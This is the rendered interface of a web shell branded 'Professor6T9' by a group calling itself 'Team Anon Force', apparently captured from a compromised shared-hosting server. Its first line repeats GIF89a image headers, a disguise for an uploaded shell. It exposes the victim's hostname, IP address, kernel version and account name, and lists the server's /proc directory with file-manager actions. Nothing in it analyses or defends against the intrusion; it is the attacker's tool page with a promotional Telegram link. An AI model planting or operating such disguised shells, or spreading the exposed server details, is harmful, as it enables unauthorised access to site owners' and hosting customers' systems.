GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
 LiteSpeed
 156.232.88.2
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-08-01 09:39:37
.. dir - root/root 0755 2024-08-09 02:43:23
159300 dir - lakevic2/lakevic2 0555 2026-02-18 12:37:31
2292736 dir - lakevic2/lakevic2 0555 2026-02-18 12:40:49
2294397 dir - lakevic2/lakevic2 0555 2026-02-18 12:41:25
2301131 dir - lakevic2/lakevic2 0555 2026-02-18 12:43:52
2302989 dir - lakevic2/lakevic2 0555 2026-02-18 12:44:24
2304543 dir - lakevic2/lakevic2 0555 2026-02-18 12:44:49
2308389 dir - lakevic2/lakevic2 0555 2026-02-18 12:45:58
2308447 dir - lakevic2/lakevic2 0555 2026-02-18 12:46:00
4009835 dir - lakevic2/lakevic2 0555 2026-02-18 12:37:30
acpi dir - root/root 0555 2024-08-01 09:39:41
bus dir - root/root 0555 2024-08-01 09:39:47
driver dir - root/root 0555 2026-02-18 12:38:25
fs dir - root/root 0555 2024-08-01 09:39:47
irq dir - root/root 0555 2024-08-01 09:39:42
lve dir - root/root 0555 2026-02-18 12:37:53
net link - lakevic2/lakevic2 0555 2026-02-18 12:42:26
scsi dir - root/root 0555 2024-08-01 09:39:47
self link - lakevic2/lakevic2 0555 2026-02-18 12:41:25
sys dir - root/root 0555 2024-08-01 09:39:38
sysvipc dir - root/root 0555 2026-02-18 12:39:19
thread-self link - lakevic2/lakevic2 0555 2026-02-18 12:41:28
tty dir - root/root 0555 2026-02-18 12:39:19
buddyinfo 0 B root/root 0444 2026-02-18 12:39:19
cgroups 0 B root/root 0444 2026-02-18 12:37:53
cmdline text/plain 0 B root/root 0444 2026-02-18 12:38:01
consoles 0 B root/root 0444 2026-02-18 12:39:19
cpuinfo text/plain 0 B root/root 0444 2026-02-18 12:37:53
crypto 0 B root/root 0444 2026-02-18 12:39:19
devices 0 B root/root 0444 2026-02-18 12:39:19
diskstats 0 B root/root 0444 2026-02-18 12:37:58
dma 0 B root/root 0444 2026-02-18 12:39:19
execdomains 0 B root/root 0444 2026-02-18 12:39:19
fb 0 B root/root 0444 2026-02-18 12:39:19
filesystems text/plain 0 B root/root 0444 2026-02-18 12:37:53
interrupts 0 B root/root 0444 2026-02-18 12:37:51
iomem 0 B root/root 0444 2026-02-18 12:39:19
ioports 0 B root/root 0444 2026-02-18 12:39:19
kallsyms 0 B root/root 0444 2024-08-01 09:39:47
kcore 128 TB root/root 0400 2024-08-01 09:39:38
key-users 0 B root/root 0444 2026-02-18 12:39:19
keys 0 B root/root 0444 2026-02-18 12:39:19
kmsg 0 B root/root 0400 2026-02-18 12:39:19
kpagecgroup 0 B root/root 0400 2026-02-18 12:39:19
kpagecount 0 B root/root 0400 2026-02-18 12:39:19
kpageflags 0 B root/root 0400 2026-02-18 12:39:19
loadavg text/plain 0 B root/root 0444 2024-09-04 09:25:03
locks 0 B root/root 0444 2026-02-18 12:39:19
mdstat 0 B root/root 0444 2026-02-18 12:39:19
meminfo text/plain 0 B root/root 0444 2024-09-04 09:20:44
misc 0 B root/root 0444 2026-02-18 12:39:19
modules 0 B root/root 0444 2026-02-18 12:39:19
mounts text/plain 0 B lakevic2/lakevic2 0444 2026-02-18 12:43:44
mtrr 0 B root/root 0644 2024-08-01 09:39:47
pagetypeinfo 0 B root/root 0400 2026-02-18 12:39:19
partitions 0 B root/root 0444 2026-02-18 12:37:53
sched_debug 0 B root/root 0444 2026-02-18 12:39:19
schedstat 0 B root/root 0444 2026-02-18 12:39:19
slabinfo 0 B root/root 0400 2026-02-18 12:39:19
softirqs 0 B root/root 0444 2026-02-18 12:39:19
stat text/plain 0 B root/root 0444 2024-09-04 09:05:11
swaps 0 B root/root 0444 2024-08-01 09:39:38
sysrq-trigger 0 B root/root 0200 2024-08-01 09:39:47
timer_list 0 B root/root 0400 2026-02-18 12:39:19
uptime text/plain 0 B root/root 0444 2024-09-04 09:20:13
version text/plain 0 B root/root 0444 2026-02-18 12:37:32
vmallocinfo 0 B root/root 0400 2026-02-18 12:39:19
vmstat 0 B root/root 0444 2026-02-18 12:37:58
zoneinfo 0 B root/root 0444 2026-02-18 12:39:19
© Professor6T9